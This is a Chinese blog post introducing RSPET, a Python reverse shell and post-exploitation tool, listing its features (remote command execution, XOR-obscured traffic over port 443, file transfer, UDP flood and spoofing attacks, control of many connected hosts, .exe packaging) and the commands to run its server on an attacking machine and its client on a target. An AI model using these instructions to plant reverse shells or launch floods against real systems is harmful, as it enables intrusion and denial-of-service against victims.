RSPET (Reverse Shell and Post Exploitation Tool) 是一个基于Python的反连shell,并且具备后渗透阶段的一些功能。
注意:在V0.0.3版本中添加了一个min文件夹,因为这个新版本包含了其它不影响主功能(反连shell)的其它功能
min不会引入v0.0.3之后版本的任何更多功能,只接受与bug和性能相关的补丁。
目前的版本:v0.0.6
- 功能
远程命令执行
流量加密(异或加密代替明文传输),使用443端口可以取得更好的效果
内置了加密传输文件或二进制数据的功能
内置UDP洪泛攻击工具
内置UDP欺骗攻击工具
管理多个或全部主机,控制多个连接的主机传输文件和UDP洪泛攻击。
模块化的代码设计,易于定制
客户端脚本已经过测试,可以兼容Pyinstaller(可以转换成.exe)
1.UDP欺骗使用了RAW_SOCKETS,所以为了正常使用,客户端需要运行在支持RAW_SOCKETS的操作系统(大部分基于Unix的系统)上,并且有root权限。最后,许多ISP在某地方做了手脚,有可能会丢弃或者修改欺骗的数据包。
2.查看EXPANDING,方便你添加新的功能,或者根据你的需要定制RSPET
3.查看primalsecurity.net的博客,了解生成.exe的方法
部署
RSPET_server.py或RSPET_server_min.py运行在攻击机上,接收连接。
RSPET_client.py或RSPET_client_min.py运行在目标机上,会初始化并发送连接请求,等待输入。
执行
服务端:
python RSPET_server.py (max_connections)
[/cc]
max_connections如果为空,则默认为5.
控制端:
python RSPET_client.py server_ip
[/cc]
Linux发行版
包含RSPET的Linux发行版列表
BlackArch Linux (2016.04.28版本中)
原创文章,作者:老D,如若转载,请注明出处:https://laod.cn/2164.html
评论列表(2条)
哈哈,看不懂。。。。
:?: